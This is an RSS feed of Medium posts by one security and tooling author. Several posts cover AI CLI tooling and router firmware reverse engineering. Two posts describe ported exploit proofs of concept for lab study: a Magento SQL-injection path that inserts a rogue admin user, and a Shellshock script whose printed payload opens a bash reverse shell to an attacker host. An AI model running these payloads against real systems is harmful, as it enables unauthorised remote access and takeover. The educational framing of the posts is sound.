<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Monx Research on Medium]]></title>
        <description><![CDATA[Stories by Monx Research on Medium]]></description>
        <link>https://medium.com/@monxresearch?source=rss-8284e8ede371------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*wQGIFzRwAaA-PAc9</url>
            <title>Stories by Monx Research on Medium</title>
            <link>https://medium.com/@monxresearch?source=rss-8284e8ede371------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 15:47:36 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@monxresearch/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[I Fixed OpenCode Account Switching by Treating It Like a State-Integrity Bug, Not a Login Bug]]></title>
            <link>https://medium.com/@monxresearch/i-fixed-opencode-account-switching-by-treating-it-like-a-state-integrity-bug-not-a-login-bug-3658db0cd742?source=rss-8284e8ede371------2</link>
            <guid isPermaLink="false">https://medium.com/p/3658db0cd742</guid>
            <category><![CDATA[developer-tools]]></category>
            <category><![CDATA[cli]]></category>
            <category><![CDATA[state-management]]></category>
            <category><![CDATA[ai-tooling]]></category>
            <category><![CDATA[authentication]]></category>
            <dc:creator><![CDATA[Monx Research]]></dc:creator>
            <pubDate>Thu, 25 Jun 2026 09:59:59 GMT</pubDate>
            <atom:updated>2026-06-25T09:59:59.289Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_tTtznOhkUCAOnxmI0v9Vg.png" /></figure><p>The worst account-switching bugs are the ones that pretend they succeeded.</p><p>You change accounts. The command exits cleanly. The UI looks normal. Then five minutes later you realize the launcher, the auth file, the plugin store, and the model picker are all carrying slightly different ideas about reality.</p><p>That kind of bug is infuriating because nothing is broken loudly enough to be obvious. The tool just becomes less trustworthy with every switch.</p><p>This repo is good because it correctly identifies the real problem:</p><p>not login, but drift.</p><h2>The launcher was not just holding auth state. It was holding too many truths at once</h2><p>The README lays the problem out clearly:</p><ul><li>auth.json could say one Google account is active</li><li>the Antigravity store could say another is active</li><li>the live session could still be bound to older state</li><li>the model picker could present routes as if quota and cooldown were perfectly clean</li></ul><p>That is not one bug. It is a state-integrity problem across multiple stores and one runtime.</p><p>Once you see it that way, the patch decisions make a lot more sense.</p><h2>The repo gets much stronger the moment diagnostics show up</h2><p>The auth side is useful because it does not stop at &quot;switch.&quot;</p><p>It adds:</p><ul><li>opencode auth current</li><li>opencode auth doctor</li><li>opencode auth repair</li><li>opencode auth switch personal --restart</li></ul><p>That command set says the author understands the actual lifecycle of a stateful bug.</p><p>If drift exists, you need four things:</p><ol><li>a way to inspect current truth</li><li>a way to detect disagreement</li><li>a way to repair the disagreement</li><li>a way to force the runtime to actually rebind</li></ol><p>Without all four, account switching stays cosmetic.</p><h2>The picker work is the part I like most</h2><p>The auth commands are important, but the picker is where the repo starts feeling like product engineering.</p><p>The patch stops treating model entries as static labels and starts treating them as live state.</p><p>That means the launcher can finally distinguish between:</p><ul><li>quota-backed models that are genuinely ready</li><li>flash-family models that are cooling down but still relevant</li><li>free or cheap fallback routes that should move up when the premium path is blocked</li><li>local gateway models that are configured but not actually alive</li></ul><p>That is a huge UX improvement because static model menus are one of the easiest ways for AI tools to become subtly dishonest.</p><p>If a model is blocked, waiting, or dead, the UI should say that. If a fallback is the best live option, the launcher should act like it knows that.</p><p>This patch does both.</p><h2>The repo is strongest because the patch boundary stays visible</h2><p>The launcher patch, the upstream baseline, and the resulting artifact are all kept inspectable:</p><ul><li>clean upstream launcher snapshot</li><li>patched launcher artifact</li><li>unified diff</li><li>apply/restore script</li></ul><p>That is the right way to ship this kind of work.</p><p>It means you can ask sensible questions:</p><ul><li>what exactly changed?</li><li>what version is this pinned to?</li><li>how do I restore the original state?</li><li>what part belongs to the launcher patch versus the plugin companion config?</li></ul><p>That separation is not glamorous, but it is what makes the repo maintainable.</p><h2>The companion plugin story is handled honestly too</h2><p>I also like that the repo does not fake ownership over surfaces it does not actually patch.</p><p>The launcher patch is here. The plugin code is not source-forked here. The runtime companion config is documented here.</p><p>That is an honest scope boundary, and it makes the whole project read more cleanly. Too many patch repos blur everything together and leave you guessing which moving parts are canonical versus merely local.</p><p>This one does not.</p><h2>How I would validate it</h2><p>I would start with the patch boundary:</p><pre>node scripts/apply-opencode-auth-ux-patch.mjs</pre><p>Then I would immediately test the state model, not just the launcher:</p><pre>opencode auth current<br>opencode auth doctor<br>opencode auth switch personal --restart</pre><p>And after that I would inspect the picker behavior:</p><ul><li>does the active account match the actual runtime?</li><li>do cooldown labels surface correctly?</li><li>are dead local routes marked dead?</li><li>do free or cheap fallbacks move up when the premium lane is blocked?</li></ul><p>That is the real contract of the repo. Not &quot;patch applies,&quot; but &quot;visible state becomes more truthful.&quot;</p><h2>Why this is worth publishing</h2><p>Because this is the kind of tooling work that serious users notice immediately and casual readers often underrate.</p><p>The patch does not add some shiny new model. It fixes the much less glamorous but much more important question of whether the launcher is still telling the truth after the third account switch and the second quota rollover.</p><p>That is a better engineering story than a generic auth tweak.</p><p>It shows the author can look at a messy multi-store state system, identify where it drifts, add diagnostics, keep the patch reversible, and improve the UI without hiding the underlying complexity.</p><p>That is real toolsmith work, and it deserves to read like it.</p><p>If you work on AI tooling, developer productivity, reverse engineering, offensive security labs, or systems automation, connect with me on <a href="https://www.linkedin.com/in/minanagehzekry">LinkedIn</a>.</p><p><strong>Canonical source:</strong> <a href="https://github.com/minanagehsalalma/opencode-auth-ux-hardening">GitHub repository</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3658db0cd742" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Stopped Treating ZTE Router Firmware Like a Blob and Started Treating It Like a Map]]></title>
            <link>https://medium.com/@monxresearch/i-stopped-treating-zte-router-firmware-like-a-blob-and-started-treating-it-like-a-map-21ee9c61648b?source=rss-8284e8ede371------2</link>
            <guid isPermaLink="false">https://medium.com/p/21ee9c61648b</guid>
            <category><![CDATA[python]]></category>
            <category><![CDATA[firmware-analysis]]></category>
            <category><![CDATA[iot-security]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[embedded-systems]]></category>
            <dc:creator><![CDATA[Monx Research]]></dc:creator>
            <pubDate>Thu, 25 Jun 2026 09:57:37 GMT</pubDate>
            <atom:updated>2026-06-25T09:57:37.214Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mwzajMEAc9ypnQ_6NT4jfA.png" /></figure><p>The thing that makes router research feel slow is not always the crypto or the reversing. A lot of the time it is the fact that the device starts out as one big unhelpful object.</p><p>Firmware package here. NAND dump there. Strange web partition somewhere else. Lua bytecode everywhere. Hardcoded values in a tree you still cannot see clearly.</p><p>Until the layers separate, you are not really doing analysis yet. You are still just pushing on a blob.</p><p>That is why I like this repo. It is not selling one dramatic finding. It is building the reusable middle layer that turns a ZTE router from a blob into a map.</p><h2>The repo wins by covering the whole awkward middle</h2><p>The README says exactly what most router repos fail to provide:</p><ul><li>small scripts</li><li>real example outputs</li><li>reverse-engineering-oriented docs</li><li>Windows-friendly workflow support</li></ul><p>That sounds modest, but it is the right scope. Most public router work is either:</p><ul><li>a firmware dump with no tooling</li><li>a good write-up with no reusable scripts</li><li>a local scratch folder nobody else can run</li></ul><p>This repo fills the gap in the middle, and that is why it is valuable.</p><h2>The H188A NAND analyzer is the file that changes how you see the target</h2><p>If I had to choose one file to prove the repo is serious, it would be tools/analyze_h188a_nand.py.</p><p>Not because it is the flashiest script. Because it is the point where the device stops being opaque.</p><p>The file strips OOB data, maps non-blank eraseblock runs, identifies A/B firmware slot artifacts, parses slot-header words, and even extracts the boot-side public key near TAGH0201.</p><p>That is a huge jump in clarity.</p><p>Once you can do that, you are no longer &quot;looking at a dump.&quot; You are reading structure:</p><ul><li>rootfs offsets</li><li>kernel partition boundaries</li><li>A/B slot behavior</li><li>public-key placement</li><li>upgrade metadata</li></ul><p>That is the kind of tooling that changes the pace of a whole research project.</p><h2>The repo gets stronger because it keeps real output checked in</h2><p>One of the easiest ways for reverse-engineering repos to feel fake is when they show you only tools and no proof that the tools touched a real target.</p><p>This repo avoids that.</p><p>The README points to checked-in example outputs and calls out concrete highlights:</p><ul><li>unpack_h188a.py surfaces V2.0.1EG1T14_TE and wrapper-magic metadata</li><li>unpack_h288a.py distinguishes different header layouts and validates CRCs</li><li>analyze_h188a_nand.py maps A/B slots, RAWB, BMT, and boot public-key offsets</li><li>decompile_httpd_tree.py decompiled 493 Lua bytecode files with zero failures on the sample H188A run</li><li>extract_route_map.py emits both JSON and Markdown inventories</li></ul><p>That is the right kind of evidence. It gives the reader anchors, not just aspirations.</p><h2>The web UI layer is just as important as the firmware layer</h2><p>A lot of people stop mentally at &quot;router firmware&quot; and forget that half the interesting attack surface lives in the unpacked web interface and the logic behind it.</p><p>This repo does not make that mistake.</p><p>It includes a full Windows-friendly path for:</p><ul><li>JFFS2 extraction</li><li>webfs corpus analysis</li><li>HTTPD Lua-bytecode decompilation</li><li>route and _tag map extraction</li><li>prep work for repack experiments</li></ul><p>That is what makes the toolkit feel complete. It understands that you do not learn much from a firmware package if you never bridge it to the web surface the user and attacker actually hit.</p><h2>Even the &quot;constants&quot; section tells a story</h2><p>I like that the repo has a dedicated KEYS_AND_CONSTANTS doc.</p><p>Not because constants are exciting, but because it is a sign the project knows what should be first-class research material:</p><ul><li>wrapper magic words</li><li>upgrade key pairs</li><li>H188A hardcode AES derivation inputs</li><li>CBC candidate suffix families for rootfs triage</li></ul><p>That is the sort of repo hygiene that makes later work faster. Once those constants are promoted out of throwaway notes and into named documentation, the next pass over the device stops starting from zero.</p><h2>How I would actually use it</h2><p>I would follow the repo&#39;s real workflow instead of cherry-picking one script at random:</p><pre>git clone https://github.com/minanagehsalalma/zte-router-tools.git<br>cd zte-router-tools<br>powershell -ExecutionPolicy Bypass -File .\scripts\bootstrap_windows.ps1<br>.\.venv\Scripts\Activate.ps1</pre><p>Then I would do something concrete, like:</p><pre>python .\tools\unpack_h288a.py .\firmware.bin --out .\out\h288a<br>python .\tools\extract_jffs2_windows.py .\webfs.jffs2 .\out\webfs --force -v<br>python .\tools\extract_route_map.py .\out\httpd_decompiled --json-out .\out\route_map.json --md-out .\out\route_map.md</pre><p>That sequence already tells you whether the repo is useful: can it move you from package to filesystem to routes to something you can actually inspect?</p><h2>Why this is a better article than &quot;router reversing toolkit released&quot;</h2><p>Because the real accomplishment is not a toolkit existing.</p><p>It is a toolkit existing at the exact layer where reverse-engineering work usually becomes private, messy, and hard to reproduce. This repo makes that middle layer legible:</p><ul><li>package parsing</li><li>dump mapping</li><li>filesystem extraction</li><li>bytecode decompilation</li><li>hardcode triage</li></ul><p>That is the kind of work professionals actually reuse.</p><p>It means the next interesting question about the device can start from structure instead of confusion. And in firmware work, that is a huge upgrade.</p><p>If you work on AI tooling, developer productivity, reverse engineering, offensive security labs, or systems automation, connect with me on <a href="https://www.linkedin.com/in/minanagehzekry">LinkedIn</a>.</p><p><strong>Canonical source:</strong> <a href="https://github.com/minanagehsalalma/zte-router-tools">GitHub repository</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=21ee9c61648b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Benchmarked OpenCode Against Gemini CLI Because Screenshot Wars Were Getting Useless]]></title>
            <link>https://medium.com/@monxresearch/i-benchmarked-opencode-against-gemini-cli-because-screenshot-wars-were-getting-useless-95b4cec5b10f?source=rss-8284e8ede371------2</link>
            <guid isPermaLink="false">https://medium.com/p/95b4cec5b10f</guid>
            <category><![CDATA[ai-tooling]]></category>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[powershell]]></category>
            <category><![CDATA[benchmark]]></category>
            <category><![CDATA[command-line]]></category>
            <dc:creator><![CDATA[Monx Research]]></dc:creator>
            <pubDate>Tue, 23 Jun 2026 19:19:00 GMT</pubDate>
            <atom:updated>2026-06-23T19:19:00.748Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*46oJfE9jM1c6auE9nGYmkQ.png" /></figure><p>AI CLI benchmark posts usually go bad in the same way.</p><p>Somebody runs two tools once, screenshots the outcome, and the entire conversation turns into people arguing over a table that never deserved that much confidence in the first place.</p><p>That was exactly the kind of noise I wanted to get away from here.</p><p>So this repo is not really a &quot;who won?&quot; repo. It is a &quot;what can I defend after a second look?&quot; repo. That is a better standard, especially for tooling benchmarks where the harness usually matters more than the headline.</p><h2>The first useful thing in the repo is the caveat</h2><p>I trust benchmark repos more when they admit the weird part early.</p><p>This one does:</p><p>the OpenCode runs were using the working local google/antigravity-* path, not a clean official raw-Google path, because the direct Google Gemini route was not healthy on that machine during testing.</p><p>That one caveat matters a lot. Without it, the whole repo would be easier to share and harder to trust.</p><p>Instead, the repo says the quiet part out loud: this is a real machine, with a real working path, and the comparison should be read in that context.</p><p>That is already better than most benchmark content.</p><h2>The numbers are interesting because the harness is stricter than the usual one-off run</h2><p>The README gives two result sets that are worth separating.</p><p>For the strict Pro head-to-head:</p><ul><li>OpenCode: median 22.7s, mean 25.9s, 10/10 under 60s</li><li>Gemini CLI: median 23.0s, mean 32.5s, 9/10 under 60s</li></ul><p>That is close enough that the honest interpretation is &quot;small consistency edge,&quot; not &quot;blowout.&quot;</p><p>Then the corrected Flash round two is where the repo actually gets sharp:</p><ul><li>OpenCode: 25/25 passed, 0 timeouts, median 15.4s, mean 15.9s</li><li>Gemini CLI: 23/25 passed, 4 timed-out runs, median 48.1s, mean 77.7s</li></ul><p>Those two result families together make the article better. One shows a narrow contest. The other shows a clearly wider gap on the harder repeated suite. That is much more interesting than a single blended summary because it forces the reader to ask what changed between the two testing surfaces.</p><h2>benchmark-strict-round2.ps1 is the file that makes the repo real</h2><p>This is the file I would point another engineer to first because it shows that the benchmark was not just &quot;run both CLIs and feel the vibe.&quot;</p><p>It locks in:</p><ul><li>explicit model names</li><li>a fixed suite root</li><li>a concrete report file</li><li>a 180000ms timeout</li><li>5 passes</li><li>separate workspaces for each runner and each task</li></ul><p>That is the sort of boring discipline benchmark repos need.</p><p>I especially like that the repo keeps JSON outputs and not just markdown summaries. Once the raw result file exists, the write-up stops being the only place where interpretation lives.</p><p>That is important. Good benchmark work should make the author less necessary, not more.</p><h2>What makes a benchmark worth reading is not fairness theater</h2><p>I do not believe in the fantasy of a perfectly universal benchmark. Different tools have different strengths, different providers behind them, different failure modes, and different local environments.</p><p>What I do believe in is a benchmark repo that makes the compromises inspectable.</p><p>This one does that by exposing:</p><ul><li>the scripts</li><li>the report artifacts</li><li>the model names</li><li>the timeout behavior</li><li>the source-verification note about broader ecosystem claims</li></ul><p>That last part is underrated. The README even calls out that earlier claims about Gemini 3.1 Pro support had already become outdated by May 4, 2026. That means the repo is trying to be historically accurate about the comparison surface, not just numerically tidy.</p><h2>How I would rerun it</h2><p>I would start with the strict harness, not the light probe:</p><pre>pwsh -NoProfile -File .\scripts\benchmark-strict-headtohead.ps1</pre><p>Then I would move to the corrected repeated Flash run:</p><pre>pwsh -NoProfile -File .\scripts\benchmark-strict-round2.ps1 `<br>  -OpenCodeModel &#39;google/antigravity-gemini-3-flash&#39; `<br>  -GeminiModel &#39;gemini-3-flash-preview&#39; `<br>  -SuiteName &#39;benchmark-strict-round2-flash-suite&#39; `<br>  -ReportFile &#39;benchmark-strict-round2-flash-results.json&#39;</pre><p>After that, I would inspect results/benchmark-strict-round2-flash-results.json before I trusted any chart built from it.</p><p>That order matters. The repo is at its strongest when the raw artifact comes before the narrative.</p><h2>Why this is worth publishing</h2><p>Because a lot of benchmark content on AI tooling is basically gossip with timestamps.</p><p>This repo is better than that. It does not eliminate ambiguity, but it narrows it honestly. It makes the setup visible, the caveats explicit, and the outputs portable enough that someone else can challenge them without reverse-engineering the whole experiment from scraps.</p><p>That is what I want from benchmark work.</p><p>Not certainty theater. Just enough rigor that the numbers mean something after the screenshot stops being exciting.</p><p>If you work on AI tooling, developer productivity, reverse engineering, offensive security labs, or systems automation, connect with me on <a href="https://www.linkedin.com/in/minanagehzekry">LinkedIn</a>.</p><p><strong>Canonical source:</strong> <a href="https://github.com/minanagehsalalma/opencode-vs-gemini-cli-benchmarks-2026">GitHub repository</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=95b4cec5b10f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Used Replit's Shell to Run Codex CLI Without Touching My Local Machine]]></title>
            <link>https://medium.com/@monxresearch/i-used-replits-shell-to-run-codex-cli-without-touching-my-local-machine-75e9dbbe494c?source=rss-8284e8ede371------2</link>
            <guid isPermaLink="false">https://medium.com/p/75e9dbbe494c</guid>
            <category><![CDATA[replit]]></category>
            <category><![CDATA[developer-tools]]></category>
            <category><![CDATA[cli]]></category>
            <category><![CDATA[openai]]></category>
            <category><![CDATA[productivity]]></category>
            <dc:creator><![CDATA[Monx Research]]></dc:creator>
            <pubDate>Tue, 23 Jun 2026 18:45:52 GMT</pubDate>
            <atom:updated>2026-06-23T18:45:52.450Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O7eKwEmf7itFg1KgvI4Rkw.png" /></figure><p>I like local setups, but I do not always want to spend the first half of an experiment making my own machine the experiment.</p><p>That is why the Replit angle interested me.</p><p>If all you need is a Linux shell, a project directory, npm, and a place to let Codex loose on a codebase for a while, Replit can be good enough surprisingly fast. The repo works because it does not overcomplicate that idea.</p><p>It is basically saying: stop waiting for the &quot;perfect&quot; environment, open the shell you already have, and make the coding agent useful there.</p><h2>The appeal is not glamour. It is containment.</h2><p>Running Codex inside Replit is attractive for a very simple reason: it lets you try the workflow in a disposable workspace.</p><p>You get:</p><ul><li>a Linux terminal</li><li>a project directory</li><li>a fast install path</li><li>a place to test agent behavior without touching your main laptop state</li></ul><p>That is already enough to make the setup interesting to me.</p><p>The README leans into that practical tone. It is not pretending Replit became some exotic agent platform. It is a browser IDE with a shell, and that is exactly what makes the guide useful.</p><h2>The real friction is not install. It is auth.</h2><p>The easy part is:</p><pre>npm install -g @openai/codex<br>codex --version</pre><p>Anyone can get that far.</p><p>The interesting bit is that the repo does not stop before the first annoying edge case. It goes straight to the one people will actually hit in a browser-based environment:</p><p>the ChatGPT login flow wants to bounce through localhost, and Replit is not your localhost.</p><p>That single mismatch is what makes the article worth more than a copy-pasted install command.</p><h2>The API-key path is the sane default</h2><p>The guide is honest about this: the API-key path is the easiest way to make Codex work in Replit.</p><p>Set the key in the shell:</p><pre>export OPENAI_API_KEY=sk-your-key-here</pre><p>Or better, put it in Replit Secrets so you do not keep re-exporting it every session.</p><p>That alone gets a lot of people where they need to go. And I like that the repo says so plainly instead of turning the guide into an OAuth ritual for no reason.</p><h2>The localhost workaround is what makes the repo memorable</h2><p>What I actually liked reading was the ChatGPT subscription workaround.</p><p>The flow is very simple and very &quot;browser IDE&quot; in a way that feels real:</p><ol><li>start codex</li><li>choose ChatGPT login</li><li>let the browser fail on the localhost callback</li><li>copy the full callback URL</li><li>open a second Replit shell tab</li><li>replay the callback with curl</li><li>go back to the first shell and continue</li></ol><p>That is such a practical little hack.</p><p>It is not pretending Replit magically supports everything a local desktop supports. It is just routing around the mismatch in a way another engineer can actually use.</p><p>If you have ever had to finish an auth flow in an environment that almost works, you know how satisfying that kind of workaround can be.</p><h2>The article also works because it keeps the rest of Codex grounded</h2><p>Once authentication is done, the guide gets back to the stuff that matters:</p><ul><li>launch codex from the project directory</li><li>pick an approval mode that matches the task</li><li>use the TUI naturally</li><li>keep secrets out of shell history</li><li>commit before larger edits</li></ul><p>That is the right level of detail for a setup repo like this. It is enough to get someone productive without drowning them in meta commentary.</p><p>I also like that it calls out Replit-specific friction directly:</p><ul><li>npm path issues</li><li>sandbox quirks</li><li>the fact that --dangerously-bypass-approvals-and-sandbox is less shocking inside an already sandboxed Replit environment than it looks at first glance</li></ul><p>That keeps the guide from sounding generic.</p><h2>Why I would actually use this setup</h2><p>Not for every project.</p><p>But absolutely for the cases where I want a clean temporary lane:</p><ul><li>trying Codex on a repo without touching my local setup</li><li>validating a CLI workflow from a Linux shell quickly</li><li>using a browser-based environment on a locked-down machine</li><li>keeping experiments isolated from my regular workstation mess</li></ul><p>That is where this repo lands well. It does not claim Replit is better than local development. It shows that Replit is good enough for a very specific and useful Codex workflow.</p><h2>Why this is a better story than &quot;install Codex in the cloud&quot;</h2><p>Because the install is not the story.</p><p>The story is that a browser-based shell is almost enough, and then one missing piece, the localhost callback, tries to ruin the whole thing. The repo earns its place by solving that exact mismatch cleanly.</p><p>That is what makes the guide feel alive instead of generic.</p><p>It is a real workaround for a real environment constraint, and that is usually where the best practical engineering write-ups start.</p><p>If you work on AI tooling, developer productivity, reverse engineering, offensive security labs, or systems automation, connect with me on <a href="https://www.linkedin.com/in/minanagehzekry">LinkedIn</a>.</p><p><strong>Canonical source:</strong> <a href="https://github.com/minanagehsalalma/Codex-CLI-in-Replit-Shell">GitHub repository</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=75e9dbbe494c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Ported the Old Magento Shoplift PoC to Python 3 Because the Bug Is Still Worth Reading Properly]]></title>
            <link>https://medium.com/@monxresearch/i-ported-the-old-magento-shoplift-poc-to-python-3-because-the-bug-is-still-worth-reading-properly-2b733a664d55?source=rss-8284e8ede371------2</link>
            <guid isPermaLink="false">https://medium.com/p/2b733a664d55</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[vulnerability-research]]></category>
            <category><![CDATA[sql-injection]]></category>
            <dc:creator><![CDATA[Monx Research]]></dc:creator>
            <pubDate>Sun, 21 Jun 2026 09:31:44 GMT</pubDate>
            <atom:updated>2026-06-21T09:31:44.908Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AvuiW_G4xvPVGmeTEgQFLA.png" /></figure><p>Old web-app exploits age in a very particular way.</p><p>The bug stays famous. The screenshots keep circulating. The proof-of-concept turns into sediment.</p><p>By the time someone tries to study it again, they are usually dealing with broken Python, missing context, and reposts that treat the bug more like folklore than a real mechanism.</p><p>That is why I like small modernization repos like this one.</p><p>The point is not to make Magento Shoplift feel current again. The point is to keep the exploit path readable enough that the underlying SQL injection is still something you can inspect instead of merely reference.</p><h2>The exploit path is still a useful lesson</h2><p>The repo stays close to the classic structure:</p><ul><li>normalize the target URL</li><li>hit /index.php/admin/Cms_Wysiwyg/directive/index/</li><li>use the ___directive value that decodes to the Adminhtml/report_search_grid path</li><li>push a SQL payload through the filter parameter</li><li>create a new admin user if the path lands</li></ul><p>That is a strong teaching shape because it makes the exploit legible as an input-validation and server-side execution story, not just as &quot;run script, get panel.&quot;</p><p>You can literally see the query being built:</p><ul><li>create a salt</li><li>generate a password hash</li><li>insert into admin_user</li><li>insert into admin_role</li></ul><p>That is ugly in exactly the way useful old PoCs should be ugly. It keeps the dangerous logic close to the surface.</p><h2>poc.py is the right file to read because it has not been over-stylized</h2><p>The script is still compact.</p><p>It uses requests, normalizes the target, builds the SQL payload, base64-encodes the filter, and posts to the vulnerable endpoint. If the request works, it tells you to check the admin panel with the created credentials.</p><p>That minimalism is actually a virtue here.</p><p>For vulnerability archaeology, the last thing I want is a giant abstraction layer that hides the bug class under tooling ceremony. This repo gives you the exploit chain without pretending to be a framework.</p><p>And the moment you see the path and payload construction together, the article gets a lot more concrete:</p><ul><li>this is where the input lands</li><li>this is how the SQL text is being smuggled in</li><li>this is what state change the exploit is trying to force</li></ul><p>That is a better learning artifact than a post that only talks about CVEs and impact in the abstract.</p><h2>Why I still think ports like this matter</h2><p>Because old exploits are often the clearest way to teach why an entire category of bug was dangerous.</p><p>Magento Shoplift is memorable precisely because it is not some tiny edge case. It is a very visible example of how unsafe server-side handling around administrative surfaces can turn into catastrophic state changes.</p><p>Once the proof-of-concept is runnable again on a modern interpreter, the bug becomes easier to teach, easier to lab, and easier to explain to people who were not around when the original write-ups were circulating.</p><p>That is enough reason to keep the repo alive.</p><h2>How I would use it</h2><p>As a lab artifact, not as historical decoration.</p><p>The repo keeps the entrypoint direct:</p><pre>python3 poc.py 10.10.10.140</pre><p>From there, the important part is not the command itself. It is what you inspect around it:</p><ul><li>what exact Magento version range the lab is modeling</li><li>whether the vulnerable administrative path is still reachable</li><li>how the filter payload is being encoded and delivered</li><li>what the forced database writes are meant to achieve</li></ul><p>That is where the learning lives.</p><h2>Why this makes a better Medium article than &quot;old exploit ported&quot;</h2><p>Because the port is only the excuse.</p><p>The real value is that the repo preserves the exploit chain in a form that is still understandable without romanticizing it. It gives the reader a path back into the mechanics of the bug: endpoint, payload, SQL effect, admin-user creation, and why that combination was so serious.</p><p>That is what I want from vulnerability archaeology.</p><p>Not noise. Not cosplay. Just a clean enough artifact that the old bug can still teach something.</p><p>If you work on AI tooling, developer productivity, reverse engineering, offensive security labs, or systems automation, connect with me on <a href="https://www.linkedin.com/in/minanagehzekry">LinkedIn</a>.</p><p><strong>Canonical source:</strong> <a href="https://github.com/minanagehsalalma/Magento-Shoplift-SQLI-v3">GitHub repository</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2b733a664d55" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Ported an Old Shellshock PoC to Python 3 So the Bug Class Is Easier to Study Again]]></title>
            <link>https://medium.com/@monxresearch/i-ported-an-old-shellshock-poc-to-python-3-so-the-bug-class-is-easier-to-study-again-6daa1d03503f?source=rss-8284e8ede371------2</link>
            <guid isPermaLink="false">https://medium.com/p/6daa1d03503f</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[vulnerability-research]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[Monx Research]]></dc:creator>
            <pubDate>Sun, 21 Jun 2026 09:23:40 GMT</pubDate>
            <atom:updated>2026-06-21T09:23:40.831Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OOn_LxPHkNTctcXK88oOQg.png" /></figure><p>Shellshock is one of those bugs that everyone in security has heard of, but a lot of younger workflows only know it as a story.</p><p>That is what happens to old exploit code. The vulnerability becomes famous, the original proof-of-concept ages badly, Python 2 dies, and eventually the practical path for studying the bug gets replaced by screenshots, summaries, and broken gists.</p><p>I do not find that satisfying.</p><p>If a bug is still important enough to come up in labs, interviews, and defensive training, it should still be possible to run a clean version of the old path and inspect what made it work.</p><p>That is why this repo matters.</p><h2>The real value is in making the bug legible again</h2><p>The repo itself is small. That is fine.</p><p>For a modernization project like this, the point is not to build a huge framework around Shellshock. The point is to keep the exploit logic readable enough that the bug class stays teachable on a modern Python 3 environment.</p><p>The core of the file still tells the same old story:</p><ul><li>build a payload that abuses shell function parsing</li><li>send it in headers like Cookie and Referer</li><li>spray likely CGI paths</li><li>wait for the vulnerable execution path to do something it should never have done</li></ul><p>That is why the shellshock.py file is worth reading directly. It still looks like an exploit, but it also reads like a concise explanation of the original assumption failure.</p><h2>The payload is the whole lesson</h2><p>You do not need fifty screens of code to remember why Shellshock mattered.</p><p>This one line does the work:</p><pre>payload = f&quot;() {{ :;}}; /bin/bash -c &#39;/bin/bash -i &gt;&amp; /dev/tcp/{lhost}/{lport} 0&gt;&amp;1 &amp;&#39;&quot;</pre><p>That is the bug class in miniature.</p><p>A string that should have been treated as data becomes a place where shell behavior leaks through and command execution starts hitchhiking behind what looked like an environment variable boundary.</p><p>That is why I like old bug-class repos when they stay simple. The best ones let you see the dangerous assumption without drowning it in &quot;framework.&quot;</p><h2>The spray logic still feels honest</h2><p>Another thing I like here is that the repo does not pretend exploitation begins after perfect reconnaissance. It still includes the old familiar grind of trying likely CGI paths and looking for the route that actually exists.</p><p>That matters because it keeps the lab story grounded:</p><ul><li>vulnerable class alone is not enough</li><li>the target still has to expose the right surface</li><li>reproduction depends on realistic assumptions, not abstract severity</li></ul><p>In practice, that is how defensive teams should remember bugs like this too. The dangerous behavior is memorable, but exposure always lives at the intersection of code path, deployment choices, and reachable surface.</p><h2>How I would use the repo</h2><p>Exactly the way a lab repo should be used: as a reproducible study aid, not as some mythologized relic.</p><p>The command path is intentionally direct:</p><pre>python3 shellshock.py payload=reverse rhost=10.10.10.10 lhost=10.10.145.8 lport=1234 pages=/cgi-bin/adsd.sh</pre><p>That is enough to study the moving parts:</p><ul><li>attacker-controlled payload</li><li>chosen shell behavior</li><li>CGI endpoint exposure</li><li>reverse-shell callback path</li></ul><p>And because the script still supports both reverse and bind payload modes, it stays close enough to the older ecosystem to be useful when comparing examples and walkthroughs from that era.</p><h2>Why I think this is worth publishing</h2><p>Because &quot;port to Python 3&quot; sounds boring until you remember what usually happens when no one does 